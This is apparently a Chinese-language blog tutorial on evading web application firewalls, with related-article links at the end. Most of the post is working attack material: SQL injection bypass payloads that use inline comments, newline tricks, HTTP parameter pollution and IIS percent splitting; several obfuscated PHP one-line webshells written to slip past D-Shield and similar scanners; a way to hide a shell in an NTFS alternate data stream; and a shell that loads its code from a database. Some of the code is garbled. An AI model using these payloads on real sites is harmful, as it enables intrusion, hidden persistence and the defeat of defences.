bypass--绕Waf

WAF检测机制

WAF检测机制核心就是正则匹配

常见绕WAF手法

1.大小写绕过 (很老的WAF才有用)

2.替换绕过(很老的WAF才有用)【和上传文件那个pphphp一样】

3.特殊字符绕过 (%0a换行)

数据库注释

/**/可以尝试替换空格 sleep() => sleep/**/()

/*!*/内联注释 //可以运行

union select => union /*!10044select*/

10044是版本号 50001等等也是 可以尝试加入到内联注释里尝试是否绕过

-- qwe /*%0a*/

union*/

http://192.168.32.128/index.php?id=1 union /*!10044select*/1,2,3-- qwe/*%0afrom admin%23*/

%0a 换行 -- qwe 注释(只注释本行) # 也是注释

http://192.168.32.128/index.php?id=1 union #/*%0a select 1,password,3 from admin limit 1,1#*/

也可以尝试在函数加上"绕过

"sleep"() updatexml等

4.编码绕过 (比如会多次解码的东西)

5.等价替换 (利用其它函数替代)

union #%0aselect 拦截\]\[union all #%0aselect 不拦截

6.容器特性(例如Apace的Hpp,或者是IIS的%分割)

iis 传参里面

s%e%l%e%c%t =>select

Apache Hpp

http://192.168.32.128/index.php?id=1/\*\&id=2 union select 1,password,3 from admin limit 1.1#*/

只会接受第二个传参

7.白名单(管理员权限或者是127.0.0.1本地访问不拦截)

修改请求头

8.缓冲区(数据太多了,超出了WAF检测的范围)

webshell绕过

<?php eval($_REQUEST['a'])?>

这个就是a的一句话木马 这个语句肯定是会被拦截的,

为什么拦截

关于拦截最主要的还是测试,看看Waf怎么拦截

最直接的检测应该是正则匹配\] 只写\ 没有拦截,加了$_REQUEST\['a'\]就拦截 测试拦截$_REQUEST\['a'\]的哪个部分。 测试发现拦截的是 \[

end ()函数可以绕过

<?php eval(end($_REQUEST));?>

这个语句就没有出现$_REQUEST [ ]所以成功过狗,我们用end来替代了 []

end 函数的意义:输出数组中的当前元素和最后一个元素的值,然后因为我的传参就一个

用这个连菜刀 没有密码

通过常量定义:

<?php define("a","$_REQUEST[a]");eval(a);

<?php $a='ass';

$b='ert';

funcName=a.$b; //assert

$x='funcName';

x($_REQUEST\[1\]); //$funcName = assert($_REQUEST\[1\]) 通过函数定义强行分割: \ //强行分割$_POST\['a'\] 通过类定义,然后传参强行分割 \name"); } } $user = new User; $user-\>name = ''.$_REQUEST\[1\]; ?\> 多方式传参免杀: \ $value){ if($key=='assert'){ $key($_REQUEST\['1'\];) } } ?\> 需要设置cookie为assert \

if($_SERVER['HTTP USER_AGENT']=="1) )(

:eval(end($ REQUEST)):}?> 通过加 if 绕过d盾 用burp改请求头为1

拿到shell之后藏shell:

ntfs文件流

在菜刀命令行里执行

echo "<?php eval($_REQUEST[a])?>" >> /:123.txt

执行之后虽然页面上没有文件产生 但实际文件已经产生

然后将上传文本改成

<?php include('/:123.txt')?>

对方就看不见木马文件 dir也看不到 (只能在Windows里用)

绕过市面上所有WAF

<?php eval(mysqli_fetch_assoc(mysqli_query(mysqli_

connect('127.0.0.1','root','root','

maoshe'),'select * from info'))['info']);

mysqli_fetch_assoc 结果中取一行数据

通过连接数据库 网址换成你的主机 打开maoshe数据库 取info表里的一个数据 实际攻击可以换成你的库名 表名 需要提前把你表明里的数据写成 eval($_REQUEST[a]

相关推荐
darkfive1 小时前
构建大模型安全自动化测试框架:从手工POC到AI对抗AI的递归Fuzz实践
人工智能·安全·ai·自动化
白帽子黑客罗哥2 小时前
Redis实战深度剖析:高并发场景下的架构设计与性能优化
redis·网络安全·性能优化·高并发·分布式锁·秒杀系统·缓存架构
TG_yunshuguoji2 小时前
亚马逊云渠道商:本地SSD缓存如何保障数据安全?
运维·服务器·安全·云计算·aws
电话交换机IPPBX-3CX3 小时前
电话交换机软件3CX安全访问实践:屏蔽IP访问,仅允许域名访问
安全·域名·ippbx·1024程序员节·电话交换机
半路_出家ren3 小时前
设计一个学生管理系统的数据库
linux·数据库·sql·mysql·网络安全·数据库管理员
LucianaiB4 小时前
掌握 Rust:从内存安全到高性能服务的完整技术图谱
开发语言·安全·rust
ks胤墨5 小时前
网站安全太复杂?雷池SafeLine+cpolar实现“躺平式”防护!
安全
泷羽Sec-静安5 小时前
Less-1 GET-Error based-Single quotes-String GET-基于错误-单引号-字符串
前端·css·网络·sql·安全·web安全·less
cai_huaer6 小时前
BugKu Web渗透之 文件包含2
web安全·1024程序员节
乌托邦的逃亡者8 小时前
Linux系统中配置history命令显示时间、IP、账号和操作命令
linux·运维·安全